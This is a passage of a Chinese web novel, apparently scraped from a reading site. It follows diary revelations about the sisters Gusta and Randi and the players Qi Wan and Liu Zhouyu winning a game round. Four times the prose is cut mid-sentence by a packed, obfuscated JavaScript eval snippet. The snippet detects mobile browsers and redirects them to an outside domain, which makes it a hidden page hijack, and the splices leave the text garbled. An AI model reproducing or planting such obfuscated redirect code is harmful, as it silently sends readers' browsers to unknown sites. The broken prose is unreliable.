是那黑豹女孩留下的,里面是个刚出生不久的女婴。抱回到屋里后我们给她放了热水袋,喂了些温牛奶,她立刻声音响亮,是个很健康的孩子。 黑发黑眸,很典雅的东方人的特征。 我想,那女孩也许是妓女,生下来了却无力抚养,这样的事很常有,但我总感觉她不像。因此有可能是另一种不常见的可能性:东方人不喜欢女孩,即使迁居来到这里也没改变这种陋习,所以家里人会扔掉健康的女婴——她大概是被强迫扔掉自己的孩子。 但她争取到了最后处理自己孩子的机会,把孩子放在我们家门口,而不是任由家人将她扔进河里——门罗家是出了名的善人,她大概坚信我们会收养这个孩子。 好吧,她猜对了。 多养一个孩子并不费力,我说服强尼收养了她。毕竟她是个多么可爱的孩子啊,她一直看着我笑呢。 我给她起了名字,就叫格斯塔吧。 —— 1941年6月4日,晴 我已经不记得这两天是怎么过的了,很累,很疼,我的整个下半身都没有知觉,屋子里可能全都是血腥味吧,我自己已经闻不到了。强尼说他简直不敢相信我流了多少血,他差点以为我要死了,还说他再也不想要孩子了——这样的事再来一次他会吓死的。 我有点想笑,鬼门关走了一趟的人是我,他比我还害怕。 我也很疼,很害怕,可是,当仆人把她抱到我面前,我感觉一切都是值得的,她是我亲自生下来的孩子。 她现在离开我的身体,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她说:她要去找那位巫医。 那当然不行,我们拒绝了她。 —— 1958年5月6日 这十几天,格斯塔每天都会来要一次地图,她真的很执着。 一开始是要自己去,后来见我们不松口,她便退而求其次,说要跟我们一起去。 我当然也是拒绝。 但我想到了说服她的办法。 —— 这张纸只有一半,内容就在这里停止。 祁晚怎么也没想到,看个日记还能断更,“嘶——” 所以到底是什么办法? 于是她又开始翻日记本。本子里撕掉了不少,有些全撕了,还有些撕了一半,被撕掉的是上半部分的话日期也就看不到了,她找了很久才找到对应的另一半。 —— 我说:“你不要留在家里照顾兰迪吗?” 我说:“我们走了,能照顾她的只有你了。你要照顾好她,我们路上才能放心啊。” 格斯塔看着我,很久没有说话。 最后,她说:“好,你们放心去吧。” “我跟兰迪一起等你们回来。” —— 再然后,门罗夫人记录了一些路上的见闻,这些部分没有被撕掉,日记也没有记载她们的死期。 这是当然的,日记都是事后写的,人死了就没法写日记了。 祁晚仔细看了看被撕掉的部分,跟兰迪的故事基本能对上。 格斯塔是把有利于自己的部分全都撕掉了。 这干嘛呢这是? 54. 往昔(6) 想知道格斯塔本人究竟是怎么想的,就只能翻看她本人的日记了。 那一堆日记里最多的是门罗夫人的,她热爱生活,总有很多东西可写——春天开一朵花,夏天下一场雨,秋天落一片叶,冬天下一场雪……她都会写很多。 门罗家父亲的日记除了吐槽就是骂人,仅有的一小段发情期看起来也很矫情,毫无价值。 祁晚翻开格斯塔的日记。 格斯塔的日记总共也只有不到半本,每一篇都非常简短,且信息量巨大。 祁晚快速翻看着比较称得上节点的内容。 —— 1945年8月21日,(一个大概是表达下雨的符号) 我长得跟爸爸妈妈和妹妹都不一样,好奇怪。 —— 看年份,这个时候的格斯塔应该才四岁半多一点,字迹还很稚拙,不会写下雨这个单词就用了一个手画的符号代替。 还怪可爱的。 —— 1949年7月7日,多云 爸爸妈妈出门,我去书房找书,看到了妈妈的日记本,原来我不是亲生的。 但她们都以为我不知道,我会装作不知道的。 —— 祁晚“嘶”了一声,大致算算,现在的格斯塔才不到九岁……她居然这么早就知道自己不是亲生的了?居然还懂得要装不知道。 这什么孩子? 有点太聪明了。 —— 1950年6月3日,晴 爸爸听了我的话,买来了萤火虫,跟童话书里描述得一模一样,很美。 妹妹很开心,真好。 —— 1955年3月4日,晴 天气真好,风也很舒服。妹妹长得跟妈妈一样好看,她们像精灵一样,爸爸是守护她们的骑士。 我就很多余。 —— 1955年3月5日,小雨 因为我说总有一天我会离开这个家,兰迪哭得很厉害,一直说什么一辈子都不要分开的傻话。最后在我的床上睡着了,像个小兔子一样。 可是我不是她,她才是门罗家真正的女儿,我总有一天会离开,我必须离开。 到时候她也会懂的。 —— 1957年6月30日,晴 兰迪的历史和笛卡尔哲学都答了满分,她特别高兴。我比她早一点出教室,在校门口等她,她笑起来像天使一样。 她越来越好看了,是一种跟以前不太一样的好看。 很多人都在看她,我不喜欢。 —— 1958年3月3日,阴 兰迪昏倒了。 我好害怕,她会死吗? 爸爸说不会,妈妈也说不会,说大家都会想办法救她,可我还是好害怕。 如果失去她,以后我该怎么办? 在这个家里,我只有她了。 —— 1958年4月17日,阴 我有一句英语看不懂,想去找爸爸问一下。结果听见他说找到了能治好兰迪的办法。 我要去。 他们不让我去,也不给我地图。 没关系,我会继续跟他们要的。 —— 1958年5月6日,阴 爸妈走了,我没跟着去。 因为妈妈说要我照顾好兰迪,我会的。 —— 1958年6月3日,小雨 爸妈还没回来,这个生日兰迪过得不开心,还哭了。 我变得越来越奇怪了,但现在应该没什么关系。 我把她的眼泪吻掉,不知为何,兴奋得手指都在都抖。她一直在哭我就一直抱着她很,后来她在我怀里睡着了。 可是感觉很奇怪,真的很奇怪。明明小时候一直都这样,现在为什么…… —— 1958年7月15日,大雨 商人带回了爸妈的死讯,兰迪晕过去了,这次特别严重,医生说她有可能再也醒不过来。 她不会死,不会。 我说好了要照顾她的,我不会让她死的。 —— “她不会死”那几个字祁晚费了很大劲才辨别出来,抖到几乎看不清,纸都被扎破了。 —— 1958年7月16日,多云 兰迪醒了,但还是虚弱。不光是身体的原因,医生说她的心理状态也很重要。 她看见我,眼泪就掉下来。 我只能抱着她。 她说:“以后,我只有你了。” 我说:“我也是。” 但我不是以后,而是从很久以前开始,我就只有她。 门罗夫妇并不是我的亲生父母,我很早就知道了。 对我来说,父母是假的,门罗这个姓是假的,门罗家大小姐的身份也是假的。 这个家不属于我,门罗家的一切也不属于我。 只有兰迪,她是真的。 她的一切,她对我的爱,还有她属于我这个事实。 我们这辈子都不会分开了。 —— 1958年9月23日 兰迪一病不起,家里的一切只能由我来。 元老们并不愿意由我一个女孩接手父亲的一切,但我是“长女”。而且家里也没有别的人,我接手这一切理所应当。 我并不想管这些,我也没资格管。但兰迪的病还需要用东方的药,需要很多钱,就算是为了她,我也必须把门罗家的一切维持下去。 有一些人想离开,自己离开的我都没说什么。走了却还要带一些不属于他的东西的,我把他们处理掉了。还有对我意见格外大的几个人,我也处理掉了。 —— 然后很长的一段时间都没有记录,格斯塔再一次记录是在三个月后。 —— 1958年12月24日 今天是平安夜,大家都不工作,我必须回家。兰迪的身体好了很多,我们可以一起过节。 看见她,我才意识到,我好像很久没回家了。 明明都是小时候喜欢的食物,现在我却尝不出味道来。 土豆泥是血和泥土的味道。 那是我昨天杀掉的一个人,他死到临头才知道求饶,我亲手开的枪,血腥味掺杂着泥土的味道非常呛鼻。 兰迪跟仆人们打闹,她很久没这样玩闹过了。她的身体一定还不舒服,但她还是会笑出来,像落入人间受难的天使。 而我满手血腥,一身铜臭,我已经变了。 我不该靠近她。 (此处断开,虽然是同一天的记录但应该隔了一段时间) 夜深了,我睡不着。 我失眠很久了。 从第一个人死在我枪下开始,他们的悲鸣和嘶吼就纠缠着我。 一旦我睡着,他们像沼泽里的鬼一样钻进我的梦里,缠着我。不论直接或间接,我确实已经害死了很多人。 当初如果不是我的保证,门罗夫妇也不会那么放心地离开。 我活该不得安眠,我终有一日落入地狱。 那才是我的归宿。 (此处又断开) 门响了。 兰迪来了。 不知道为什么,我特别害怕。 但她毫无所觉,像小时候那样钻进了我的被窝。 她问我:“你有多久没好好睡过觉了?” 我不记得了。 没有人在意我,但她一眼就看出来我已经很久没有好好休息过。 她又问我:“很累的话,为什么不回家?” 我不知道怎么回答。 “为什么不来找我?”她哭了,伏在我胸口上,“你明知道我出不去的,为什么不回家?你知道我很想你吗?” 我知道,但我不敢。 她说:“我知道你都在做什么,仆人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411021|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都告诉我了。” 我又害怕起来,那些本都不是我该接手的东西。那都是她的,门罗家长女的身份也是她的,只是她不知道——她知道了吗? 但她什么都没有说,她只是抱住我,说:“你辛苦了,我都知道。” “如果爸爸还在,一定会夸你的。” “可是他不在了,只能我来。你听见了吗?你超级厉害的……回家好吗?” 她哭得上气不接下气的,我已经很久没见她这么哭过,她说:“我只有你了,为什么连你也要走?我都夸你了,你回来好不好……” 不知道从哪一刻起,我也哭了。 我甚至不敢说我究竟为何而哭,只觉得眼泪流出去,一切都畅快了。 再后来的事,我不记得了。 我想我可能是疯了。 我们都疯了。 …… 格斯塔的日记到此为止。 儿童和少年时代的她会用写日记的方式辅助思考,把日记当树洞,将自己想不明白或者无人诉说的事情都写进去——而从那一晚后,她再也不写日记了。 祁晚觉得,她大概是得到了比日记更真诚的依靠。 一旁,柳州与的手腕动了动。 祁晚立刻放下本子,然后看了一眼柳州与的数据。 学习进度100%,蓝条剩余23%。 学完了,而且蓝条没耗到最低线。 这姑娘,天才。 货真价实童叟无欺24k毋庸置疑的天才——祁晚面无表情地想。 不久,柳州与缓缓抬起了头,表情很空白。 她嗫嚅着开骂,“这什么混蛋教材……” 祁晚:“你学的不是很快吗……挺好的啊。” 柳州与:“……那是被逼的啊!” “必须全力学习才能不头疼啊!”柳州与发出有气无力的怒吼,“稍微偷一点懒,走一点神,头就超级痛!太折磨人了,还不如直接杀了我……能怎么办?只能拼了老命地学啊……” 祁晚回忆起了自己头疼得要死,只能躺地上哭时的情景。 推己及人,感同身受。 她拍了拍柳州与的肩,叹气,“我懂。” “但这些知识感觉还挺有用的,就是没教怎么应用。连个例题也不给,我还得自己试。”柳州与吸了吸鼻涕,挺直了腰板,“祁晚,我用你点精神力行不?我自己的不够了。” 祁晚毫不犹豫:“用!” 这事可真找对人了,她别的没有,就是精神力够多。 柳州与将手搭在祁晚的手上,“那我用了嗷,不一定成功,我先试试,谢谢……我现在真的太缺了。” 祁晚完全没感觉,“你别客气,我精神力多得很,你用就完事” 柳州与不动了,很突然,石化了似的。 祁晚:“……发啥呆呢?喂?还OK吗?” 柳州与看着自己的蓝条发呆,“我没事……我的精神力满了?刺溜一下就满了……不对啊……咋回事?” 然后她看向祁晚的蓝条,“你的怎么没动?” 不应该啊? 难道她操作失误了? 可是,要是操作失误了的话,那她蓝条里满满的精神力是哪来的? 这东西能无中生有吗? 因为实在不太合理,她瞪大眼睛,扳过祁晚的手腕仔细查看。 祁晚的蓝条并不是没动。 99.43% 就她看的这一秒,一个眨眼的功夫,99.33%变成了99.83%,然后满了。 柳州与又看了一眼自己已然满了的蓝条。 意思是……她的整个蓝条只占到祁晚的不到百分之一? 为什么蓝条密度差距可以这么大?而且祁晚的还恢复那么快!凭什么?这不公平! 随后她无比真诚地看向祁晚,语气诚恳:“你脑子里是装着一片海吗?” 祁晚:“这句话听起来有点像在骂我。” 55. 肖像(17) 柳州与立刻否认,“没有。” 祁晚:“我就信你这一回……” 然后柳州与看了一眼桌上被翻的到处都是的日记和废纸,问道:“你都看完了?这么快。发现什么了吗?” 祁晚想了想,将自己认为比较有节点性的几篇翻出来,“门罗父亲的不用看了,全是废话。” “你看这几篇吧,还有这个……撕掉的部分要跟本子里的拼起来看,应该是格斯塔自己撕掉的,弄不明白她为什么撕……” 柳州与接过日记本,手指触电似的弹开,“啊!” 祁晚吓了一跳,“怎么了?” 柳州与没说话,犹豫着又接过了笔记本本。 屋内无风,本子与废纸缺无风自动。柳州与双手捧着笔记本,纸页自行哗啦啦地翻动了起来,随着纸页翻动,她的发丝也向上扬起。 祁晚:“……!” 祁晚:“这是什么新功能?” 柳州与没回答,整个人都呼吸都急促起来,自己摸起另一本日记读。 这次纸页翻动的速度更快了,速度快得像在吃书。 祁晚就看着她“吃”书。 柳州与速度很快,已经捧起了第五本。 祁晚立刻提醒,“那个是门罗父亲的,别……” 但没赶上,下一秒,柳州与又一次触电。 她扔下了那本门罗父亲的日记,一脸惊诧,“这人……好没素质!” “我猜他对外不那样,多半是有点戾气全发泄在日记里了。”祁晚充满同情地拍了拍柳州与,“没事,反正不是在骂咱们——你这是什么新功能?你现在不用打开书就能看内容了?” 柳州与想了想,这才开始解释,“那个D级教材里教的东西还挺多的。” “这个教材学完以后有两个小测验,一个测精神力,一个测什么……控制力?做完了才能出来,我控制力评级96分,满分100。”柳州与咧开嘴笑,“现在我才知道是什么意思——我能感知到这些日记里存留的‘记忆’,刚才我都复制了一份,现在存起来了。” 祁晚一时没反应过来,愣住了。 然而柳州与不是秋原,有问题会直接解释,“格斯塔跟兰迪她们两个的问题不就是精神力或者说‘记忆’只有一份?把我这份复制好的给她们,她们的不就够了吗?” 祁晚懂了,左手摔进右手掌心,发出“啪”的一声,“这样就能通关了!” 柳州与跳起来,“对!” 然后她站起来,站在房间中央,面对着画室巨大的落地窗抬起手,整间画室里的画便漂浮着旋转起来,形成了一个巨大的画漩涡。 她道:“但是日记里的不知道全不全,我看这些画里有不重复的部分,稍微等一下。等一下我全都收集上,咱们就出去……” 祁晚也没闲着,“我去看看地下室那条路还能不能走——”然后她瞥了一眼柳州与的手腕,没看见数,问道:“你精神力够用吗?再拿点不?” 柳州与没回头,腾不出空说话,向身后比了一个“OK”。 祁晚点点头,推门离开。 秋原正在往外走,脚步虚浮,双眼无神。 祁晚总觉得她这个状态有点眼熟。 于是她试探着叫了一声:“秋原?” 秋原没理她,自顾自地推门出去了。 祁晚:“?” 秋原关上门后,祁晚忽然背后一阵发凉,惊觉好像有人在看她。 她抬起头,就见格斯塔站在二楼的台阶顶端。 只一眼,她就意识到,现在的格斯塔是没有失去精神力的状态。 可是……现在格斯塔的精神力应该已经给兰迪了,她应该处在失忆后的虚弱状态才对,为什么会是现在这个样子,不应该……秋原!秋原刚才出去了! 祁晚后退了几步,退到画室门边打开了门。 肯定是刚才秋原在楼上做什么了——她想:这两人的症结在于只有一份精神力,这个问题是秋原发现的,而最简单的解决方法就是复制一份,秋原肯定也想到了。 秋原刚才去了花园里,但能把她和柳州与追的屁滚尿流的兰迪,还真不一定能把秋原怎么样。 毕竟,看秋原能跟游戏构建者打架的战力,搞不好是秋原把兰迪摁着揍了一顿,复制精神力对那个小外星人来说应该也不难……所以秋原已经复制成功了? 祁晚猛然抬头,格斯塔正在下楼。 格斯塔一身黑衣,步履平稳,胸有成竹,并不把她的警惕当回事。 她有答案了。 ——秋原肯定复制成功了,并且已经给了格斯塔。 可是,没有播报游戏成功,为什么? 应该只差一点了,差在哪里? 格斯塔朝她一步步过来。 她想起刚才:柳州与说日记里的精神力跟画里的有不重合的部分……那么,格斯塔与兰迪再亲近,两人的记忆也不可能完全重合……也就是说,复制后,两人中有一人的记忆是不全的? 是谁的? 她心念电转,而格斯塔并不打算给她留时间。格斯塔已经站在了她面前,声音慢而稳,“我还是要感谢你们,感谢你们的帮助——但现在这样就够了,兰迪不需要知道更多。你们也可以走了。” 祁晚回头,吼道:“柳州与!差不多得了,先出去试试!快跑!” 格斯塔:“没用的,你们出不去。” 那一刻,她的速度变得格外快,鬼魅一般的身影来到了祁晚身边,手掌搭在她的肩膀上,“拜托你也离开吧。” 祁晚两眼瞬间无神。 她在干嘛来着? 哦,对了,她和柳州与被兰迪追杀来着,还好已经跑进了别墅里,兰迪看起来也并不想进来,她们安全了…… 所以,她面前的这是谁?好有气势的女人。柳州与又去哪里了? 格斯塔看着她,道:“门没锁,院门也没锁,您直接出去就可以了。” 祁晚不自觉地就听了她的话,身体开了自动导航似的就想往门口走。 格斯塔见她听话,嘴角略微牵起一点,是个很满意的笑容。她往画室里走去——里面应该还有一个。 感谢这些玩家,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436525|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后她跟兰迪都不用承受不定时的虚弱了,但很抱歉,她不能让她们通关。 虽然兰迪不会再虚弱,但以兰迪的能力也无法突破她的限制回到别墅里。她们可以继续就这样一个在别墅,一个在外面。她可以维持现状,兰迪还是什么都不会知道。 只要对付掉最后一个……她就可以…… 刚走出一步,祁晚突然清醒过来。 不对!柳州与正在收集记忆,不能让格斯塔进去! 那一瞬间,她清晰地感受到了格斯塔的精神力构成的细丝,那细丝在捆绑着她的意识,试图牵引她,想要控制她。但她的意识无比广阔庞大,就像柳州与说的,像海,那一点细丝的拉扯根本无济于事。 于是她快速回身,勒住了格斯塔,“柳州与!没听到吗!快点出去!马上” 这时,屋里才传来一大堆画作落地的噼啪声和柳州与焦急的呼喊声,“怎么了?” 然后她看见了被勒着的格斯塔和正在勒人的祁晚。 格斯塔正在挣扎。 她像一只正在结茧的蚕,无数丝线涌出,只不过丝线没有缠在她自己身上,而是缠绕在祁晚身上。 但“茧”撼动不了祁晚的动作,祁晚道:“你快!” 柳州与撒腿就跑——她刚才听见了门响,一楼的门应该已经打开了。 几秒后,祁晚听见身后的入户门传来打开的声音——柳州与成功出去了。果然,格斯塔为了让她们离开,是把门打开了的。 丝线虽细,但架不住多,但祁晚没觉得自己有要被控制的征兆,就是有点勒不住对方了。 但这种时候不能示弱,她道:“您别徒劳了,控制不了我的。”她可是脑子里装着海的人啊! 格斯塔听见门响,终于有点急了,“……放开!” “我不知道您……为什么……撕掉那些日记。”丝线越来越多,祁晚的嘴快要被缠住了。 但她没有松手,而是挣扎着道:“我都……看见了……明明都是……对您有利的部分……为什么……不能让兰迪小姐知道?明明只要……知道一切……她就不会恨你……” 格斯塔:“你懂什么?!松手!” 祁晚:“不松!” 几分钟后,祁晚彻底被缠成一个巨大的蚕茧,两只手臂只余一半在外面,格斯塔终于挣脱出来。 一挣脱,她就往外走去,身后,变成大茧的祁晚还在蹦跶。 都变成这样了还没被控制……格斯塔抹了一把额角的汗——她的控制明明从来都没失败过,也不知道这人怎么回事。 但都变成这样了,就算能蹦跶又怎么样…… 祁晚努力蹦跶着,隔着厚茧听声辨位,然后猛地一扑。 “扑通——” “咚——” 刚走出去没多远的格斯塔,“啊——” “你怎么回事?”格斯塔试图坐起来,但祁晚仅剩的手紧紧地抓住了她腰间的衣服。 祁晚的声音从茧里传出来,闷闷的,“又不是坏事,到底哪里不行了?” 格斯塔:“你为什么这样了还能动?” 56. 肖像(18) 茧里的祁晚没动静了,只是兀自收紧了手。 格斯塔又试图脱掉衣服逃脱,然而不行。 祁晚抓的地方要是裙摆也还好了,她可以直接把裙子撕开,或者抓住别的什么地方她也可以把罩裙脱掉……偏偏祁晚正好抓住了她腰间的绑带。 手劲还死大,根本掰不开。 祁晚被厚厚的茧捂住,什么都看不见,用力太过气血上涌,现在也不太能听见了,只是一味用力。 她只能感觉到格斯塔一直在掰她的手,指甲都陷进她的肉里了……好疼啊! 柳州与怎么还没完事? 该不会被兰迪干掉了吧? 祁晚琢磨着这事,有点害怕,又觉得不太可能。 柳州与刚学完E级教材的时候就能短暂控制住兰迪,现在学完了D级,精神力也比上次充足……应该不至于死得那么快。 而且要是只剩她一个了的话,游戏肯定会播报失败的。 还没播报,那就是没事。 养尊处优的家主终究比不上祁晚这种体力加满的打工人,格斯塔看着自己已经沾满血的指尖,陷入了迷茫。 她手上的血,没有一点是她自己的,跟以前一样。 但哪怕被抠的血肉模糊,祁晚也没有一点松手的意思。 愣了半晌,她问道:“你为什么……这么坚持?” “我知道这对你们来说是场游戏。”格斯塔问道:“胜利就那么重要吗?” 祁晚也愣了一下。 她想复活,这是她最初的愿望,但现在……好像也没那么重要。或者说,这件事从一开始就有那么重要吗? 她现在最想的其实是回到那个小镇,像一个普通的镇民那样生活,而这很简单,她只要在未来的游戏中随便赢一场就行。 如果只是为了这一点,她根本没必要坚持。 但…… 柳州与还在外面。 游戏没有播报失败,说明柳州与还在坚持——她可能没有更强烈的愿望了,但柳州与一定有。 秋原也有,她看起来可太想回家了。 现在不知道秋原究竟有没有淘汰。至少在得到秋原的最新消息前,她不能放弃——就算这场游戏最终还是失败,也不能是因为她的放弃。 于是她闷声道:“可能是因为我有朋友吧。” 格斯塔不说话了。 祁晚反问回去,“我们刚才翻了你们一家的日记——抱歉哈不是故意要看的。但我也想问问你,你把对自己有利的部分都撕掉干什么?还是说您就喜欢搞点虐恋?” 格斯塔叹气,“我说过了,你不懂。” 祁晚:“我是不懂,您不说我就更不懂了。” 咔哒一声。 有人推开了别墅的大门。 还有人说话:“……好啦,现在误会解开了嘛!哦哦,你进不来这扇门?” “没事的,你跟我来,我能打开……看!格斯塔女士把门锁起来了而已,打开啦!” 听见隐隐约约的门响和说话声,祁晚知道事情大概是成了,她现在可以放松下来;如果没成,那就是柳州与被控制,兰迪也进来料理她了,她再挣扎也没用。于是她松了手,一脸肉疼地把手缩回茧里。 抠的够狠的,她心里吐槽,又想起来她仅有的一次胜利……怎么这是胜利的代价吗?她就非得受点伤流点血…… 她松手,于是格斯塔终于能缓缓站起身来。 顺着打开的门,月光撒进黑暗的玄关,兰迪站在那里。 格斯塔愣在原地。 趁着两人都没注意,柳州与猫着腰、沿着墙根、绕过两人的视线跑了过来。 “咿呀你这什么形态,要破茧成蝶了吗?”柳州与小小声吐槽,“我给你解开了啊——你可别变成大蝴蝶飞出来,我怕虫。” 祁晚闷闷的声音传出来,“你快点吧……放心,我还来得及没长翅膀。但你要是再来晚点就不一定了……” 三下五除二,祁晚身上成茧的丝线尽数消散,她终于能坐起来了。 一坐起来,她第一时间朝门口看去。 兰迪的依旧容光绝世,她站在那里,只发出了一句质问,“为什么不告诉我?” 格斯塔没回答。 兰迪往前走了几步,远远地,祁晚看见她在哭。 像是着了什么魔,一定要得到答案,她一遍遍地问。 “为什么不告诉我?” ”为什么从来不跟我说?” “为什么……最后要那样……都不告诉我为什么……” “我很疼,很疼啊……你知道吗?” …… 时间拨回一点。 柳州与收集着画作里与日记里不重复的记忆部分。祁晚去探路了,现在很安全。为了更快,她全神贯注地收集,一点外界的声音也没听见。 她做得很快,教材内容她运用得很好。收集工作来到尾声时,她特别兴奋。 ——只要带着这些出去,她们这场赢的概率就很大了! 但门外传来祁晚的吼声。 “柳州与!没听到吗!快点出去!马上!” 这一声实在焦急,她不知道发生了什么,下意识地问:“怎么了?” 没有得到回答,于是她奔向画室门口。 祁晚跟格斯塔不知道起了什么冲突,场面不太友好,总之现在祁晚把人勒住了——为什么她印象里的祁晚总在勒人? 看姿势是祁晚占优势,但格斯塔也没闲着,大量看起来就很危险的丝线从她身上冒出,一点点地缠住了祁晚。 她第一时间想去帮忙。 但祁晚对她吼:“快走!” 来不及思考更多,她立刻做出了最优选择。 祁晚的决策是对的,她们要尽快要完成游戏。这里是格斯塔的主场,在这里耗着她们耗不起,也没精力一直跟游戏boss耗……胜利了就什么都解决了! 于是她奔向别墅大门——她现在有信心打破格斯塔的限制。 门开了。 花园里静悄悄的,她环视花园一圈,在不远处看见了兰迪。 她坐在那里,一动不动,不知道在想什么。 柳州与琢磨着现在的她应该能打过兰迪,剩下的精神力也应该够用——就算打不过,也能把复制好的记忆给出去。 也就是说,就算她打输了,起码也能让祁晚走向胜利。 然而兰迪毫无战意,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443807|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静。 兰迪依然瘫坐着,颓然抬起脸,道:“是你啊,我见过你。” 柳州与突然不知道该说点什么了。 直接说她带来了记忆?还是……该说点别的什么?兰迪的状态看起来跟之前不太一样。 兰迪不需要她的回应,自顾自地道:“刚才有个人出去了,是个金色头发的女孩,我也见过的,应该是你们的朋友。我叫她了,她没理我,不出意外的话是淘汰了。” 然后她直视着柳州与,道:“那女孩跟我说了一些事情……你是不是也有事情要告诉我?” 被这么一张美到震撼的脸直直注视着,柳州与感觉自己呼吸都困难了,愣了将近半分钟,她才艰难点头,“对……我有!我,我是是带着记忆来的!有很多记忆要给你。” 兰迪很温和地点头,“嗯,来吧。” …… 别墅里。 兰迪一开始是问,但始终没有得到回答。 可能是因为得到了更多精神力,她的外表年龄又变小了些。随着外表年龄的变小,她的心理年龄好像也变小了,像个孩子一样蹲在地上哭,“他们……爸爸妈妈是为了我才去的,是为了我才去……根本不是你……” 她哭得哽咽起来,“家产什么的,你也不想要,从来都没想过……都是为了我……为什么?为什么你从来,不告诉我?” “为什么……骗我?” 还是没有回答。 那边哭得快上不来气了,祁晚听着都不忍心,想让格斯塔说点什么。 说啥都行啊……您倒是好歹哄两句?就眼睁睁地看着人家哭可还行?听她哭您糟不糟心? 柳州与更是直接张嘴了,“格……” 祁晚坐着,柳州与蹲在她旁边,格斯塔俯视着她们,声音很轻,没给她们说话的机会,“这就是你们想要的?” “是我,怂恿爸爸妈妈离开;是我让他们放下一切去送死。”她缓声道:“是我想要鸠占鹊巢,想要得到门罗大小姐的身份和所有家产。” “没有任何别的原因,也不需要,一切都是因为我。” 然后她闭上了眼,像是听不见房间另一头的哭声——也许是不想听,“她只需要恨我,不需要知道那么多。只是不想让她责怪自己,很难理解吗?” “现在这样,就是你们想要的了?” 两人抬头,只见这女人的脸上也已经挂上了泪水。 直到此时,她才朝着她崩溃的恋人走过去。 初见时,格斯塔是个三四十岁妇女的模样,而现在,她每走一步就年轻一点。当她终于走到兰迪身边,看起来就只有十七八岁了。 “没有人怪过你,从来都是。”她擦掉兰迪的眼泪,“不想看你哭而已,你哭起来怪烦人的。哪来那么多为什么?” “以前你就总用哭威胁人,不就是仗着大家都惯着你?” “现在怎么还这样,多大的人了?” 兰迪抬手就是一拳,“你混蛋!” 游戏并没有给玩家发表感慨的机会和时间,播报声不合时宜地响起。 【诸位,我是本场游戏管理者。代号:岳】 【胜利条件达成,玩家祁晚、柳州与游戏胜利】 57. 肖像(终) 【恭喜游戏胜利的玩家,请选择一个需要实现的愿望。】 【机会可以积攒。】 播报没有提到秋原的名字。 祁晚:“秋原和雷铭都淘汰了啊。”预料之中。 按理来说是这样,但柳州与认为此事存疑,“雷哥肯定是,但秋原我感觉不一定……”秋原她都没有有玩家身份的。 播报声开始点名。 【玩家柳州与,请提出愿望】 柳州与沉默了起来。 她想复活,按理来说是要继续积攒胜利次数的,但她现在有了别的想法:她想起来一件事,就是她的第二场游戏开启了组队功能——祁晚不知道这事。 她刚带着兰迪进屋的时候,祁晚整个人被缠成了个蚕茧,就剩两只手杵在外面——她简直难以想象这个形态的祁晚怎么还有行动能力。还有祁晚的手,虽然伤口已经愈合,但血迹不会消失,看着就惨烈。 她在外面摸索怎么把记忆给兰迪的时候,是祁晚拼命拦住了格斯塔,不然她们两个现在早就手拉手一起被淘汰了。 在这里,想要一直赢下去并不容易,她到现在一共玩了四场,两场都输了。 祁晚是个靠谱的队友。 想要一直顺利地赢下去,靠谱的队友很重要,而且祁晚第一次跟她对峙的时候也说过想复活,她跟祁晚相当互补,她并没有占便宜,两人属于共赢——这次组队消耗的愿望也可以用她的。 于是她道:“我要跟祁晚组队。” 播报声不知为何停顿了片刻,过来好半天才道: 【玩家柳州与、祁晚组队成功。组队开始时间:玩家柳州与名下第五场游戏。】 祁晚整个人都惊了。 不是,姐们,这是干什么啊? 播报继续【玩家祁晚,请提出愿望】 柳州与看着她,笑了笑,“可以一起赢嘛,然后咱们一起复活,回家……组队就用我的愿望。到你啦。” 祁晚一时有点无话可说。 能说吗?她现在其实并不是很想活,最大的愿望是去那个小镇摸鱼混日子。 但这个组队居然是单方面提出就能成功的,都不需要她同意,她现在有点懵。 本来她只想找个地方混日子,但现在她组上队了,不再是孤家寡人不说,队友还有很强烈的复活愿望,还很“贴心”地记住了她最初的愿望…… 她就这么被这个动力十足的卷王绑上贼船——总不能拉着人家一块去摸鱼摆烂混日子吧?那也不合适啊。 于是她木然抬头,“我攒着。” 【玩家祁晚积攒胜利次数】 【请玩家进入下一场游戏】 柳州与不知道她在想什么,伸手将她拽起来,动力十足,“走,下一场!” 祁晚顿时就跟自己和解了。 其实她哪有那么高的摆烂需求?有人一起的感觉可比孤家寡人强多了。 传送门出现在院子里,她们这边游戏结算,那边也已经和解了。 